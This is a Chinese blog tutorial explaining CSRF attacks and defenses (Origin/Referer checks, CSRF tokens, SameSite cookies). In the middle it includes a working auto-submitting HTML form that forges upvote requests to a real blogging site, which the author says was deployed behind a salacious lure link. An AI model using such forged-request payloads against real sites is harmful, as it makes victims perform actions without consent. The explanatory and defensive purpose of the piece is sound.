CSRF理解和实战
目录
啥是CSRF攻击
CSRF(Cross-site request forgery)跨站请求伪造,CSRF通过伪装来自受信任用户的请求来利用受信任的网站,也就是说,请求是攻击者伪造了请求,使服务器以为是用户发起的。CSRF通常由以下流程构成:
以下引自(https://juejin.im/post/5bc009996fb9a05d0a055192):
- 受害者登录a.com,并保留了登录凭证(Cookie)。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会…
- a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作
总结来说,攻击者没有窃取你的登录信息,但是利用你的登录信息,冒充你或者在你不知情的情况下发起了一个请求。这通常也不是你希望的。接下来我们写一个CSRF攻击小例子。
写一个CSRF攻击
假设我是攻击者,我写了一篇博客,然后希望收到更多的赞(这个动机似乎不足以搞个CSRF),但是博文质量不是很高。于是我首先去研究了点👍的API,以及它所需的字段:
url: mvc/vote/VoteBlogPost.aspx
postData
"{\"blogApp\":\"imgss\",\"postId\":9700617,\"voteType\":\"Digg\",\"isAbandoned\":false}"
接下来我写了一个网页,并模拟这个post请求
<form action="https://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx" method="POST">
<input type="hidden" name="blogApp" value="imgss" />
<input type="hidden" name="postId" value="9700617" />
<input type="hidden" name="voteType" value="Digg" />
<input type="hidden" name="isAbandoned" value="false" />
</form>
<script> document.forms[0].submit(); </script>
然后部署到服务器上,链接在这里:这里有你想要的小电影
如果你点击了,这时这个页面就会发起一个post请求,由于你可能登录了博客园,post时会带上你的登录cookie信息,从而就会触发csrf攻击,莫名其妙的给这篇文章点了一个赞,(一天后更新:今天获得5个赞,也不知道是CSRF的功劳,还是我写的好😂,2021-03-29更新,这个接口已经404了)。
注意:实际点赞(点击右下角的推荐)的触发是基于ajax(xhrHttpRequest)实现的,提交的是json数据。但是在实际测试中发现,这个api也支持表单提交。
json的CSRF攻击似乎有点复杂,如果api不支持跨域,那么ajax请求会因为同源策略的限制而访问失败。
如何避免CSRF攻击
从用户的角度来说,当然是不要点击不明链接了,语言越刺激越要警惕,如果非要满足一下好奇心,可以使用不常用的没什么登录账户的浏览器,或者通过无痕窗口、隐身窗口访问。
从开发人员的角度来说,第一要同源检测,具体而言就是判断请求头里的origin
和refer
字段,origin和refer字段如下所示,可以告诉服务器的请求来源,但是refer却不是强制的。
Origin: https://juejin.im
Referer: https://juejin.im/post/5bc009996fb9a05d0a055192
其次是设置CSRF token
前面讲到CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。
而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。(https://juejin.im/post/5bc009996fb9a05d0a055192)
这个就不详细讲了,大家可以参考掘金美团技术团队的那篇文章。
还有就是在服务端set-cookie时,带上SameSite属性,可以有效防止 CSRF 攻击。
(完)
参考: